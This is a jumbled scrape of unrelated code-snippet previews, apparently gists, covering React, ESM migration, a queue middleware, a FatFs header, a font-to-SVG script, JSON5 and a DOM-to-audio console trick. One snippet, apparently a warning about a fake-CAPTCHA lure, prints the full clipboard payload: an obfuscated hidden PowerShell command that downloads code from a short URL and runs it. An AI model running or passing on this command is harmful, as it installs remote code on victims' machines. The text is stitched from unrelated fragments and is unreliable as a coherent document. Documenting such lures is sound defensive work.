Despite over a decade of using React, there is one bug I still encounter almost daily.
To demonstrate, here's a question:
import { useQuery } from './hooks'
function Component {
# The website gets you to win-r + cmd-v + enter. This is what it put in your clipboard: | |
cmd /c powershell -w hidden -c "$SESSION='i'+'e'+'x'; $SOCKET='i'+'w'+'r'; $UPDATE='https:/'+'/kutt.i'+'t/ReStarT'; &($SESSION) ((&($SOCKET) $UPDATE -UseBasicParsing).Content)"# Initiate forse restart browser |
The package that linked you here is now pure ESM. It cannot be require()
'd from CommonJS.
This means you have the following choices:
import foo from 'foo'
instead of const foo = require('foo')
to import the package. You also need to put "type": "module"
in your package.json and more. Follow the below guide.await import(…)
from CommonJS instead of require(…)
.// USAGE | |
const queue = new Queue(50) | |
const middleware = () => async (ctx, next: () => Promise<void>) => { | |
const lock = await queue.take() | |
await next().finally(() => { | |
queue.release(lock) | |
}) | |
} | |
/*----------------------------------------------------------------------- | |
/ PFF - Low level disk interface modlue include file (C)ChaN, 2009 | |
/-----------------------------------------------------------------------*/ | |
#ifndef _DISKIO | |
#include "integer.h" | |
/* Status of Disk Functions */ | |
typedef BYTE DSTATUS; |
from svgpathtools import wsvg, Line, QuadraticBezier, Path | |
from freetype import Face | |
def tuple_to_imag(t): | |
return t[0] + t[1] * 1j | |
face = Face('./Vera.ttf') |
'use strict'; | |
const parseExpression = require("./parse-expression"); | |
function findAll(regex, target) { | |
let results = [], match; | |
while (match = regex.exec(target)) { | |
results.push(match); | |
} |
// json5.js | |
// Modern JSON. See README.md for details. | |
// | |
// This file is based directly off of Douglas Crockford's json_parse.js: | |
// https://github.com/douglascrockford/JSON-js/blob/master/json_parse.js | |
var JSON5 = (typeof exports === 'object' ? exports : {}); | |
JSON5.parse = (function () { | |
"use strict"; |
/* | |
Copy this into the console of any web page that is interactive and doesn't | |
do hard reloads. You will hear your DOM changes as different pitches of | |
audio. | |
I have found this interesting for debugging, but also fun to hear web pages | |
render like UIs do in movies. | |
*/ | |
const audioCtx = new (window.AudioContext || window.webkitAudioContext)() |